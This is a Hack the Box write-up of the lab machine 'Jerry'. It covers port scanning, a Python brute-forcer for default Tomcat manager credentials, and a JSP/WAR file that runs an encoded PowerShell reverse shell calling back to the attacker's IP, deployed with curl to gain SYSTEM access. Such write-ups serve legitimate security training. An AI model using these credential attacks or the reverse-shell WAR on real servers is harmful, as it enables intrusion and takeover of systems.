Tags: war, hack the box, tomcat, jsp, api, python
Jerry is a pretty simple box. I liked Jerry because it gives people a good starting point. This is the box I recommend to friends when they ask about getting started with Hack the Box. No matter how long HTB is around, I believe there needs to be boxes like Jerry available. I will probably continue to recommend Jerry, but now I’ll have to throw in a VIP status recommendation as well. I’m thankful that mrh4sh gave the community such a great starter box. Jerry forced me to explore and learn about Tomcat deployments along with JSP and WAR files, which I appreciate.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL masscan.10.10.10.95.all 10.10.10.95
#masscan
open tcp 8080 10.10.10.95 1542367193
# end
Only a single port was returned from masscan
.
nmap -sC -sV -p 8080 -oA nmap.10.10.10.95 10.10.10.95
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Even though nmap
reports back that we’re dealing with an Apache Tomcat install, we should still dirbust the server to confirm what nmap
reports, and see if we catch anything out of the ordinary.
gobuster -u http://10.10.10.95:8080 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -s 200,204,301,302,307,403,500 -e -t 20 -o tee gobuster.http:_10.10.10.95:8080.out
http://10.10.10.95:8080/aux (Status: 200)
http://10.10.10.95:8080/com2 (Status: 200)
http://10.10.10.95:8080/com1 (Status: 200)
http://10.10.10.95:8080/com3 (Status: 200)
http://10.10.10.95:8080/com4 (Status: 200)
http://10.10.10.95:8080/con (Status: 200)
http://10.10.10.95:8080/docs (Status: 302)
http://10.10.10.95:8080/examples (Status: 302)
http://10.10.10.95:8080/favicon.ico (Status: 200)
http://10.10.10.95:8080/host-manager (Status: 302)
http://10.10.10.95:8080/lpt1 (Status: 200)
http://10.10.10.95:8080/lpt2 (Status: 200)
http://10.10.10.95:8080/manager (Status: 302)
http://10.10.10.95:8080/nul (Status: 200)
http://10.10.10.95:8080/prn (Status: 200)
There wasn’t anything interesting aside from /manager
and /host-manager
. Both directories are indicative of a Tomcat deployment.
If you’ve read any of my other HTB write-ups, you’ll have probably seen my typical gobuster arguments. You may not have seen the actual function I use. It allows me to run gobust 10.10.10.XX
and be off doing other things while it scans.
The default wordlist can be changed by adding a second argument i.e.
gobust 10.10.10.XX /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
If I need some less common gobuster
options, i run the function with a -h
. All it does in that case is spew out my normal defaults to the screen. I can then copy and paste that line as a starting point to add whatever other options I need.
It could definitely be improved, but it has served me well for quite a while.
function gobust() {
if [[ -z "${2}" ]]; then
wordlist=/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt;
else
wordlist="${2}";
fi;
if [[ "${1}" == "-h" || "${1}" == "--help" ]]; then
echo gobuster -u TARGET -w $wordlist -s '200,204,301,302,307,403,500' -e -t 20 -o tee gobuster.TARGET.out;
else
gobuster -u "${1}" -w $wordlist -s '200,204,301,302,307,403,500' -e -t 20 -o gobuster."$(echo ${1} | sed 's#/#_#g' | tr -s _)".out;
fi
}
If you’d like to make use of the function, open up ~/.bashrc
and add the function somewhere to the file. Every bash shell you open after adding it to the file will have the function available (grab a new shell to try it out). Also, the default wordlist I use makes use of the SecLists respository.
Browsing to http://10.10.10.95:8080/manager presents us with an authentication form, as seen below. At this point, we have no credentials to try, but we can try a few of the defaults for Tomcat. There is a github repo with a handful of default credential lists, one of them happens to be for Tomcat. I’m not sure that I consider each set of credentials true defaults, but it’s certainly a good set of likely candidates to try.
EDIT: I’m a few minutes into Ippsec’s Video of Jerry. He used a different wordlist housed within the Seclists procject (SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt). I’m a big fan of that project, but was unaware they had a Tomcat list. Had I known about it, I would have used it here.
After downloading Apache-Tomcat-Default-Passwords.mdown from the repo, we can strip out the usernames and passwords into two files for use in a login script.
Apache-Tomcat-Default-Passwords.mdown
═════════════════════════════════════
# Apache Tomcat Default Credentials
|Username |Password |
|-------------|----------|
|admin |password |
|admin |<blank> |
|admin |Password1 |
|both |tomcat |
-------------8<-------------
First, the users.
awk -F "|" '!/[U-]/{print $2}' Apache-Tomcat-Default-Passwords.mdown | sort | uniq > tomcat-users
We’re using the awk
command to do roughly the same thing that cut
can do, it’s just a little more elegant because we can use regex to filter out the table headers.
After grabbing the username column, we sort
the results and pipe it to uniq
to remove any duplicate entries.
tomcat-users
════════════
admin
both
manager
role
role1
root
tomcat
Then we do the same thing for the passwords, we just specify a different column in our awk
command.
awk -F "|" '!/[U-]/{print $3}' Apache-Tomcat-Default-Passwords.mdown | sort | uniq > tomcat-passwords
tomcat-passwords
════════════════
admin
<blank>
changethis
manager
password
password1
Password1
r00t
role1
root
s3cret
tomcat
toor
With our list of usernames and passwords we can whip up a quick script to try and login to the Tomcat server using Basic Auth.
import requests
from requests.auth import HTTPBasicAuth
with open("tomcat-users") as users, open("tomcat-passwords") as passwords:
for user in users:
user = user.strip() # remove trailing newline
passwords.seek(0) # go to 0th byte in the file, i.e. the beginning
for password in passwords:
password = password.strip()
resp = requests.get('http://10.10.10.95:8080/manager', auth=HTTPBasicAuth(user, password))
if resp.status_code != 200:
# unauthorized request
continue
print(f'[+] Found credentials: {user}:{password}')
raise SystemExit # got what we can for, just exit
The code above makes a GET request to the Tomcat server using Basic Auth. We can naively assume that any response that is not a 200 means we are unauthorized. Realistically, we could potentially see some other responses and still have sent a valid login, but for simplicity, we’ll use 200.
The code loops over each user, then for each user, it loops over all the possible passwords, trying to login with each combination. If you want to try it yourself, all of the necessary files are in my repo HTB Scripts for Retired Boxes.
python3 tomcat-login-brute.py
[+] Found credentials: tomcat:s3cret
After running the script, we’re rewarded with a set of valid creds for the server.
A little aside about what Tomcat is and does.
In many production environments, it is very useful to have the capability to deploy a new web application, or undeploy an existing one, without having to shut down and restart the entire container.
To support these capabilities, Tomcat includes a web application (installed by default on context path /manager) that supports the following functions:
- Deploy a new web application from the uploaded contents of a WAR file.
- Deploy a new web application, on a specified context path, from the server file system.
- ————-8<————-
The TL;DR being that Tomcat allows easy deployment of web applications. These come in the form of Java Servlet Pages (JSPs) packaged as Web Application Resource files (WARs).
DuckDuckGoing (it’s a thing, prove me wrong) for Tomcat exploits will lead to CVE-2017-12617. This exploit affected multiple versions of Tomcat. The exploit leveraged an unauthenticated PUT request to deploy a JSP file to the server which, when browsed to, allowed RCE. For this exploit to work, the readonly setting had to be set to false for the Manager servlet. Even though ours isn’t vulnerable, the concept is still valid, we just need a way to upload a JSP file.
Even though we aren’t able to perform the same unauthenticated query the exploit used, through Tomcat’s API we can do roughly the same thing using the credentials we found earlier.
I started by poking around the API documentation and found an interesting endpoint, serverinfo. We can use this endpoint as our first foray into the API.
It’s pretty simple to perform a Basic Auth request using curl
to get information about the server, as seen below.
curl 'http://tomcat:s3cret@10.10.10.95:8080/manager/text/serverinfo'
OK - Server info
Tomcat Version: Apache Tomcat/7.0.88
OS Name: Windows Server 2012 R2
OS Version: 6.3
OS Architecture: amd64
JVM Version: 1.8.0_171-b11
JVM Vendor: Oracle Corporation
Now we know we’re dealing with a 64bit version of Server 2012 R2 and the Tomcat version is 7.0.88. In order to move from here to RCE, we need to build a JSP and package it as a WAR.
DuckDuckGoing (still a thing) for JSP syntax leads us to a few Hello World examples that are enough to put together a very simple example to demonstrate RCE. We’ll start small now and build it out to a reverse shell later. The following line will print out a simple message as a PoC. This line is our JSP in its entirety. Notice that it’s just Java code wrapped in <% %>
tags.
epis-test.jsp
═════════════
<% out.println("Hello HTB!"); %>
A word on WAR files from Wikipedia.
In software engineering, a WAR file (Web Application Resource or Web application ARchive) is a file used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, Java classes, XML files, tag libraries, static web pages (HTML and related files) and other resources that together constitute a web application.
Java web applications use a deployment descriptor file to determine how URLs map to servlets, which URLs require authentication, and other information. This file is named web.xml
, and resides in the app’s WAR under the WEB-INF
directory.
We’ll start by creating the WEB-INF
folder.
mkdir WEB-INF
Next, we need to create WEB-INF/web.xml
. This will describe our web application.
<web-app>
<servlet>
<servlet-name>epis-test</servlet-name>
<jsp-file>/epis-test.jsp</jsp-file>
</servlet>
</web-app>
Finally, we use the jar
command to create the WAR itself.
jar -cvf epis-test.war epis-test.jsp WEB-INF
added manifest
adding: epis-test.jsp(in = 41) (out= 43)(deflated -4%)
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 141) (out= 73)(deflated 48%)
Now we have epis-test.war
. Let’s see about getting it to the server.
According to the Tomcat Docs, we can do a simple PUT request to get our newly created WAR file onto target.
curl --upload-file epis-test.war 'http://tomcat:s3cret@10.10.10.95:8080/manager/text/deploy?path=/epis-test'
OK - Deployed application at context path /epis-test
What threw off a lot of people doing Jerry, was not knowing where the manager deployed the JSP file. Also, most I spoke with used msfvenom and didn’t know that the resulting JSP would have a random alphanumeric name. Fortunately for us, using the API forces us to explicity specify the directory name as well as the name of the JSP. Because we know both of these things, we can simply curl our newly installed JSP and see the results.
curl 'http://tomcat:s3cret@10.10.10.95:8080/epis-test/epis-test.jsp'
Hello HTB!
Now that we’re done with our PoC, we can refer to the API docs to undeploy our web app.
curl 'http://tomcat:s3cret@10.10.10.95:8080/manager/text/undeploy?path=/epis-test'
OK - Undeployed application at context path /epis-test
Now that we have a working PoC, let’s generate a new JSP that will get us a shell on target.
We already know we’re dealing with a 64 bit Windows Server 2012 R2, so PowerShell seems like a great option for a payload. Let’s use ShellPop to quickly generate a base64 encoded PowerShell revese tcp callback.
shellpop --payload windows/reverse/tcp/powershell --host 10.10.14.6 --port 12345 --base64
powershell.exe -nop -ep bypass -Encoded JABOAEcATQBZAFIAQwBEAHYAbwBzAFkAPQAnADEAMAAuADEAM...
Next, we need to create a new JSP with our payload. We’ll name this one epis-shell.jsp
. There are two primary changes from our PoC. First, the Java code to execute a command on the remote system:
Runtime.getRuntime
- Returns the runtime object associated with the current Java applicationRuntime.exec
- Executes the specified string command in a separate process; Returns a new Process object for managing the subprocessProcess.waitFor
- Causes the current thread to wait, if necessary, until the process represented by this Process object has terminatedThe other obvious change is that we are passing our PowerShell payload as an argument to the .exec
function in order to get the Java code to execute our payload.
epis-shell.jsp
══════════════
<% Runtime.getRuntime().exec("powershell.exe -nop -ep bypass -Encoded JABOAEcATQBZAFIAQwBEAHYAbwBzAFkAPQAnADEAMAAuADEAM...").waitFor(); %>
Then we’ll update our WEB-INF/web.xml
file to reflect the name change of our JSP.
<web-app>
<servlet>
<servlet-name>epis-shell</servlet-name>
<jsp-file>/epis-shell.jsp</jsp-file>
</servlet>
</web-app>
Finally, we’ll generate a new WAR file.
jar -cf epis-shell.war epis-shell.jsp WEB-INF/
At last, we’re ready to get a shell. First, we setup a netcat listener on the port we specified during payload creation.
nc -nvlp 12345
Now, we just repeat the same steps we performed when testing our PoC.
Deploy the web app containing our PowerShell payload.
curl --upload-file epis-shell.war 'http://tomcat:s3cret@10.10.10.95:8080/manager/text/deploy?path=/epis-shell'
OK - Deployed application at context path /epis-shell
Trigger the callback.
curl 'http://tomcat:s3cret@10.10.10.95:8080/epis-shell/epis-shell.jsp'
… Profit.
listening on [any] 12345 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.95] 49197
PS C:\apache-tomcat-7.0.88> whoami
nt authority\system
PS C:\apache-tomcat-7.0.88>
\o/ - access level: nt authority\system
Now that we’re on the server, we can confirm that the server is not configured to allow PUT commands to the Manager servlet. Recall that this is the setting that CVE-2017-12617 abused. Here is the description of the readonly flag. The default setting is true.
<!-- readonly Is this context "read only", so HTTP -->
<!-- commands like PUT and DELETE are -->
<!-- rejected? [true] -->
We can grep through the config file and see that the server doesn’t override the default anywhere, meaning that PUT/DELETE requests on the default servlet are not allowed.
select-string -path conf\web.xml -pattern "readonly"
conf\web.xml:63: <!-- readonly Is this context "read only", so
Checking the administrator’s desktop, we find a folder named flags. Within that directory is the file 2 for the price of 1.txt
. It contains both flags.
cat C:\users\administrator\desktop\flags\*
user.txt
700...
root.txt
04a...
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.